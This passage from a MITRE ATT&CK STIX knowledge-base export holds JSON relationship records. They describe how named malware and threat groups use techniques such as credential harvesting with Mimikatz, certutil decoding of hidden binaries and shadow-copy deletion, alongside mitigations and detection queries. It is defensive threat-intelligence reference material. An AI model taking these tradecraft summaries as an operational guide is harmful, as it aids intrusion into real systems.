(2017, March 18). CHIPSEC Platform Security Assessment Framework. Retrieved March 20, 2017.","url":"https://github.com/chipsec/chipsec"},{"source_name":"Intel HackingTeam UEFI Rootkit","description":"Intel Security. (2005, July 16). HackingTeam's UEFI Rootkit Details. Retrieved March 20, 2017.","url":"http://www.intelsecurity.com/advanced-threat-research/content/data/HT-UEFI-rootkit.html"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--58b1c6e7-5481-4162-a90c-0b7122c3680d","type":"relationship","created":"2022-02-02T21:30:09.787Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Threatpost Lizar May 2021","url":"https://threatpost.com/fin7-backdoor-ethical-hacking-tool/166194/","description":"Seals, T. (2021, May 14). FIN7 Backdoor Masquerades as Ethical Hacking Tool. Retrieved February 2, 2022."},{"source_name":"BiZone Lizar May 2021","url":"https://bi-zone.medium.com/from-pentest-to-apt-attack-cybercriminal-group-fin7-disguises-its-malware-as-an-ethical-hackers-c23c9a75e319","description":"BI.ZONE Cyber Threats Research Team. (2021, May 13). From pentest to APT attack: cybercriminal group FIN7 disguises its malware as an ethical hacker’s toolkit. Retrieved February 2, 2022."}],"modified":"2022-02-07T16:07:50.157Z","description":"[Lizar](https://attack.mitre.org/software/S0681) can run [Mimikatz](https://attack.mitre.org/software/S0002) to harvest credentials.(Citation: Threatpost Lizar May 2021)(Citation: BiZone Lizar May 2021) ","relationship_type":"uses","source_ref":"malware--f74a5069-015d-4404-83ad-5ca01056c0dc","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--58b7b9bf-d09b-49f4-acf5-351979171317","created":"2019-03-11T19:24:08.180Z","x_mitre_version":"1.0","external_references":[{"source_name":"Github PowerShell Empire","url":"https://github.com/PowerShellEmpire/Empire","description":"Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016."},{"source_name":"SecureWorks August 2019","url":"https://www.secureworks.com/blog/lyceum-takes-center-stage-in-middle-east-campaign","description":"SecureWorks 2019, August 27 LYCEUM Takes Center Stage in Middle East Campaign Retrieved. 2019/11/19 "}],"x_mitre_deprecated":false,"revoked":false,"description":"[Empire](https://attack.mitre.org/software/S0363) can acquire local and domain user account information.(Citation: Github PowerShell Empire)(Citation: SecureWorks August 2019)","modified":"2022-09-01T16:16:34.935Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","target_ref":"attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--58baeaa3-4a41-4907-b695-53723529483b","created":"2024-05-22T21:33:30.253Z","revoked":false,"external_references":[{"source_name":"RecordedFuture IranianResponse 2020","description":"INSIKT GROUP. (2020, January 7). Iranian Cyber Response to Death of IRGC Head Would Likely Use Reported TTPs and Previous Access. Retrieved May 22, 2024.","url":"https://www.recordedfuture.com/blog/iranian-cyber-response"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-22T21:33:30.253Z","description":"[DEADWOOD](https://attack.mitre.org/software/S1134) was previously linked to [APT33](https://attack.mitre.org/groups/G0064) operations in 2019.(Citation: RecordedFuture IranianResponse 2020)","relationship_type":"uses","source_ref":"intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f","target_ref":"malware--f2e6af17-3828-4f10-88e7-343591618ddb","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--58bd61ef-fd0a-496c-9e13-5383d92eaac5","created":"2024-08-20T19:00:00.098Z","revoked":false,"external_references":[{"source_name":"Microsoft Prestige ransomware October 2022","description":"MSTIC. (2022, October 14). New “Prestige” ransomware impacts organizations in Ukraine and Poland. Retrieved January 19, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2022/10/14/new-prestige-ransomware-impacts-organizations-in-ukraine-and-poland/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-20T19:00:00.098Z","description":"[Sandworm Team](https://attack.mitre.org/groups/G0034) uses [Prestige](https://attack.mitre.org/software/S1058) to disable and restore file system redirection by using the following functions: `Wow64DisableWow64FsRedirection()` and `Wow64RevertWow64FsRedirection()`.(Citation: Microsoft Prestige ransomware October 2022)","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--58bddfb4-2236-444b-8681-2b2e0fe1f7e2","created":"2024-05-17T20:28:27.875Z","revoked":false,"external_references":[{"source_name":"Huntress NPPSPY 2022","description":"Dray Agha. (2022, August 16). Cleartext Shenanigans: Gifting User Passwords to Adversaries With NPPSPY. Retrieved May 17, 2024.","url":"https://www.huntress.com/blog/cleartext-shenanigans-gifting-user-passwords-to-adversaries-with-nppspy"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-17T20:28:27.875Z","description":"[NPPSPY](https://attack.mitre.org/software/S1131) modifies the Registry to record the malicious listener for output from the Winlogon process.(Citation: Huntress NPPSPY 2022)","relationship_type":"uses","source_ref":"tool--0630d1a7-54da-4a48-a6af-eb8a62b13c17","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--58be00f9-baaf-40d7-973f-3f38bc7322b9","created":"2023-02-13T20:05:27.593Z","revoked":false,"external_references":[{"source_name":"Palo Alto Brute Ratel July 2022","description":"Harbison, M. and Renals, P. (2022, July 5). When Pentest Tools Go Brutal: Red-Teaming Tool Being Abused by Malicious Actors. Retrieved February 1, 2023.","url":"https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-13T20:05:27.593Z","description":"[Brute Ratel C4](https://attack.mitre.org/software/S1063) can enumerate all processes and locate specific process IDs (PIDs).(Citation: Palo Alto Brute Ratel July 2022)","relationship_type":"uses","source_ref":"tool--75d8b521-6b6a-42ff-8af3-d97e20ce12a5","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--58c28a92-b3ed-41de-841d-8b8d1ad142be","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Turla Mosquito Jan 2018","description":"ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.","url":"https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf"}],"modified":"2020-03-20T01:55:35.003Z","description":"[Mosquito](https://attack.mitre.org/software/S0256) can launch PowerShell Scripts.(Citation: ESET Turla Mosquito Jan 2018)","relationship_type":"uses","source_ref":"malware--92b55426-109f-4d93-899f-1833ce91ff90","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--58cb7d29-8633-4f52-a1bc-029b544e5610","type":"relationship","created":"2022-03-30T14:26:51.841Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.841Z","description":"Monitor for API calls associated with altering data. Remote access tools with built-in features may interact directly with the Windows API to gather information.","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--ac9e6b22-11bf-45d7-9181-c1cb08360931","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--58d0e93e-15d3-476f-9fb9-4c953b072f53","type":"relationship","created":"2022-03-30T14:26:51.851Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.851Z","description":"Monitor executed commands and arguments that may delete or alter generated artifacts on a host system, including logs or captured files such as quarantined malware.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--58d47d06-26a8-4943-afb9-e2d3cf1d96ee","type":"relationship","created":"2022-03-30T14:26:51.834Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.834Z","description":"Monitor executed commands and arguments for sdbinst.exe for potential indications of application shim abuse.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--42fe883a-21ea-4cfb-b94a-78b6476dcc83","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--58d4910f-9d51-4961-84eb-9ef0ee2e8bc3","created":"2023-02-09T20:29:28.146Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MDSec Brute Ratel August 2022","description":"Chell, D. PART 3: How I Met Your Beacon – Brute Ratel. Retrieved February 6, 2023.","url":"https://www.mdsec.co.uk/2022/08/part-3-how-i-met-your-beacon-brute-ratel/"},{"source_name":"Palo Alto Brute Ratel July 2022","description":"Harbison, M. and Renals, P. (2022, July 5). When Pentest Tools Go Brutal: Red-Teaming Tool Being Abused by Malicious Actors. Retrieved February 1, 2023.","url":"https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-17T20:27:17.175Z","description":"[Brute Ratel C4](https://attack.mitre.org/software/S1063) has used encrypted payload files and maintains an encrypted configuration structure in memory.(Citation: Palo Alto Brute Ratel July 2022)(Citation: MDSec Brute Ratel August 2022)","relationship_type":"uses","source_ref":"tool--75d8b521-6b6a-42ff-8af3-d97e20ce12a5","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--58d61052-a04e-4c13-bdd4-a0847956ba70","created":"2024-03-01T17:21:23.015Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-01T17:21:23.015Z","description":"Perform regular software updates to mitigate exploitation risk.","relationship_type":"mitigates","source_ref":"course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b","target_ref":"attack-pattern--67720091-eee3-4d2d-ae16-8264567f6f5b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--58dd2402-7b8a-4ed0-8fd3-7b9656b543b8","type":"relationship","created":"2021-09-23T12:51:15.528Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike Carbon Spider August 2021","url":"https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/","description":"Loui, E. and Reynolds, J. (2021, August 30). CARBON SPIDER Embraces Big Game Hunting, Part 1. Retrieved September 20, 2021."}],"modified":"2021-09-23T12:51:15.528Z","description":"[FIN7](https://attack.mitre.org/groups/G0046) has used RDP to move laterally in victim environments.(Citation: CrowdStrike Carbon Spider August 2021)\n","relationship_type":"uses","source_ref":"intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc","target_ref":"attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--58e22fa6-5925-40b7-9df6-4cda34892ea6","created":"2023-09-29T21:14:57.151Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Binary Defense Emotes Wi-Fi Spreader","description":"Binary Defense. (n.d.). Emotet Evolves With new Wi-Fi Spreader. Retrieved September 8, 2023.","url":"https://www.binarydefense.com/resources/blog/emotet-evolves-with-new-wi-fi-spreader/"},{"source_name":"emotet_hc3_nov2023","description":"Office of Information Security, Health Sector Cybersecurity Coordination Center. (2023, November 16). Emotet Malware: The Enduring and Persistent Threat to the Health Sector. Retrieved June 19, 2024.","url":"https://www.hhs.gov/sites/default/files/emotet-the-enduring-and-persistent-threat-to-the-hph-tlpclear.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-01T14:24:20.455Z","description":"[Emotet](https://attack.mitre.org/software/S0367) has dropped an embedded executable at `%Temp%\\setup.exe`.(Citation: Binary Defense Emotes Wi-Fi Spreader) Additionally, [Emotet](https://attack.mitre.org/software/S0367) may embed entire code into other files.(Citation: emotet_hc3_nov2023)","relationship_type":"uses","source_ref":"malware--32066e94-3112-48ca-b9eb-ba2b59d2f023","target_ref":"attack-pattern--0533ab23-3f7d-463f-9bd8-634d27e4dee1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--58e37620-7000-4ec2-95e0-e1c651fa215d","created":"2022-04-18T20:03:19.978Z","x_mitre_version":"0.1","external_references":[{"source_name":"Apple TN2459 Kernel Extensions","url":"https://developer.apple.com/library/archive/technotes/tn2459/_index.html","description":"Apple. (2018, April 19). Technical Note TN2459: User-Approved Kernel Extension Loading. Retrieved June 30, 2020."},{"source_name":"MDMProfileConfigMacOS","url":"https://developer.apple.com/business/documentation/Configuration-Profile-Reference.pdf","description":"Apple. (2019, May 3). Configuration Profile Reference, Developer. Retrieved April 15, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"Use MDM to disable user's ability to install or approve kernel extensions, and ensure all approved kernel extensions are in alignment with policies specified in com.apple.syspolicy.kernel-extension-policy.(Citation: Apple TN2459 Kernel Extensions)(Citation: MDMProfileConfigMacOS)\n","modified":"2022-04-20T00:04:30.136Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--a1b52199-c8c5-438a-9ded-656f1d0888c6","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--58e3de22-ea12-4e27-b0a1-93aee0dc0905","created":"2022-03-30T14:26:51.839Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-10T13:24:51.659Z","description":"Monitor for Kubernetes CronJob or Job creation using Kubernetes API or CLI commands.\n\nNote: This query tracks job creation using kubectl commands or Kubernetes API calls to create or apply CronJobs. It filters out legitimate job creation based on a baseline and identifies unusual CronJob creation or usage.\n\nAnalytic 1 - Look for new container job creation events with unusual parameters.\n\n sourcetype=kubernetes:job_creation (command=\"kubectl create cronjob*\" OR command=\"kubectl apply -f *.yaml\" OR api_call=\"BatchV1.CronJob.create\")\n\nNote: This query monitors Kubernetes events for job creation, start, and completion. These events are useful for tracking the actual execution of scheduled tasks in the cluster.\nAnalytic 2 - Monitoring Kubernetes Events for Job Execution\n\nsourcetype=kubernetes:event type=\"Normal\" (reason=\"SuccessfulCreate\" OR reason=\"Started\" OR reason=\"Completed\") ","relationship_type":"detects","source_ref":"x-mitre-data-component--f42df6f0-6395-4f0c-9376-525a031f00c3","target_ref":"attack-pattern--1126cab1-c700-412f-a510-61f4937bb096","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--58f6b7ce-c0d0-4a54-b60d-1c39d6204796","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Scarlet Mimic Jan 2016","description":"Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.","url":"http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/"}],"modified":"2020-03-17T02:15:30.728Z","description":"[Psylo](https://attack.mitre.org/software/S0078) uses HTTPS for C2.(Citation: Scarlet Mimic Jan 2016)","relationship_type":"uses","source_ref":"malware--dfb5fa9b-3051-4b97-8035-08f80aef945b","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--58fdc63b-05b4-4db9-90fe-c80f7956292f","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses","description":"Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.","source_name":"Secureworks BRONZE BUTLER Oct 2017"}],"modified":"2020-03-17T00:28:36.293Z","description":"[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) malware has used HTTP for C2.(Citation: Secureworks BRONZE BUTLER Oct 2017)","relationship_type":"uses","source_ref":"intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5903c147-70f5-45fe-a63c-418c61566422","created":"2021-06-11T17:51:11.038Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Malwarebytes Kimsuky June 2021","description":"Jazi, H. (2021, June 1). Kimsuky APT continues to target South Korean government using AppleSeed backdoor. Retrieved June 10, 2021.","url":"https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/"},{"source_name":"KISA Operation Muzabi","description":"KISA. (2021). Phishing Target Reconnaissance and Attack Resource Analysis Operation Muzabi. Retrieved March 8, 2024.","url":"https://web.archive.org/web/20220328121326/https://boho.or.kr/filedownload.do?attach_file_seq=2695&attach_file_id=EpF2695.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-30T17:31:57.411Z","description":"[AppleSeed](https://attack.mitre.org/software/S0622) can use GetKeyState and GetKeyboardState to capture keystrokes on the victim’s machine.(Citation: Malwarebytes Kimsuky June 2021)(Citation: KISA Operation Muzabi)","relationship_type":"uses","source_ref":"malware--295721d2-ee20-4fa3-ade3-37f4146b4570","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5903ef51-37dc-41ff-82e7-90243d0df8ea","created":"2024-05-22T22:48:30.084Z","revoked":false,"external_references":[{"source_name":"Unit42 Agrius 2023","description":"Or Chechik, Tom Fakterman, Daniel Frank & Assaf Dahan. (2023, November 6). Agonizing Serpens (Aka Agrius) Targeting the Israeli Higher Education and Tech Sectors. Retrieved May 22, 2024.","url":"https://unit42.paloaltonetworks.com/agonizing-serpens-targets-israeli-tech-higher-ed-sectors/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-22T22:48:30.084Z","description":"[MultiLayer Wiper](https://attack.mitre.org/software/S1135) removes the Volume Shadow Copy (VSS) service from infected devices along with all present shadow copies.(Citation: Unit42 Agrius 2023)","relationship_type":"uses","source_ref":"malware--663d7dee-5a47-459e-a5ef-e850a94a8ee5","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--590756ce-b948-4d62-9608-4fadf58681f4","created":"2022-04-11T16:25:00.049Z","x_mitre_version":"0.1","external_references":[{"source_name":"Trend Micro DRBControl February 2020","url":"https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf","description":"Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Threat Group-3390](https://attack.mitre.org/groups/G0027) has used `whoami` to collect system user information.(Citation: Trend Micro DRBControl February 2020)","modified":"2022-04-11T16:25:00.049Z","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--59116a0e-f23b-43ec-8b25-fbad5043344a","created":"2020-11-25T22:46:47.513Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft Prestige ransomware October 2022","description":"MSTIC. (2022, October 14). New “Prestige” ransomware impacts organizations in Ukraine and Poland. Retrieved January 19, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2022/10/14/new-prestige-ransomware-impacts-organizations-in-ukraine-and-poland/"},{"source_name":"mandiant_apt44_unearthing_sandworm","description":"Roncone, G. et al. (n.d.). APT44: Unearthing Sandworm. Retrieved July 11, 2024.","url":"https://services.google.com/fh/files/misc/apt44-unearthing-sandworm.pdf"},{"source_name":"US District Court Indictment GRU Unit 74455 October 2020","description":"Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020.","url":"https://www.justice.gov/opa/press-release/file/1328521/download"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-20T18:24:54.611Z","description":"[Sandworm Team](https://attack.mitre.org/groups/G0034) has acquired open-source tools for their operations, including [Invoke-PSImage](https://attack.mitre.org/software/S0231), which was used to establish an encrypted channel from a compromised host to [Sandworm Team](https://attack.mitre.org/groups/G0034)'s C2 server in preparation for the 2018 Winter Olympics attack, as well as [Impacket](https://attack.mitre.org/software/S0357) and RemoteExec, which were used in their 2022 [Prestige](https://attack.mitre.org/software/S1058) operations.(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: Microsoft Prestige ransomware October 2022) Additionally, [Sandworm Team](https://attack.mitre.org/groups/G0034) has used [Empire](https://attack.mitre.org/software/S0363), [Cobalt Strike](https://attack.mitre.org/software/S0154) and [PoshC2](https://attack.mitre.org/software/S0378).(Citation: mandiant_apt44_unearthing_sandworm)","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5918cee6-c2f1-41be-ab96-36f3d17e5293","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes Targeted Attack against Saudi Arabia","description":"Malwarebytes Labs. (2017, March 27). New targeted attack against Saudi Arabia Government. Retrieved July 3, 2017.","url":"https://blog.malwarebytes.com/cybercrime/social-engineering-cybercrime/2017/03/new-targeted-attack-saudi-arabia-government/"}],"modified":"2019-07-31T19:57:28.960Z","description":"[certutil](https://attack.mitre.org/software/S0160) has been used to decode binaries hidden inside certificate files as Base64 information.(Citation: Malwarebytes Targeted Attack against Saudi Arabia)","relationship_type":"uses","source_ref":"tool--0a68f1f1-da74-4d28-8d9a-696c082706cc","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--59193fff-6bea-41c6-b744-36850e6cc39a","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/","description":"Hromcová, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.","source_name":"ESET InvisiMole June 2018"},{"source_name":"ESET InvisiMole June 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf","description":"Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."}],"modified":"2020-07-16T15:24:33.132Z","description":"[InvisiMole](https://attack.mitre.org/software/S0260) determines a working directory where it stores all the gathered data about the compromised machine.(Citation: ESET InvisiMole June 2018)(Citation: ESET InvisiMole June 2020)","relationship_type":"uses","source_ref":"malware--47afe41c-4c08-485e-b062-c3bd209a1cce","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--591c9a90-95e5-44cc-8a16-2d972c7174e9","type":"relationship","created":"2022-03-30T14:26:51.867Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.867Z","description":"Monitor executed commands and arguments that may 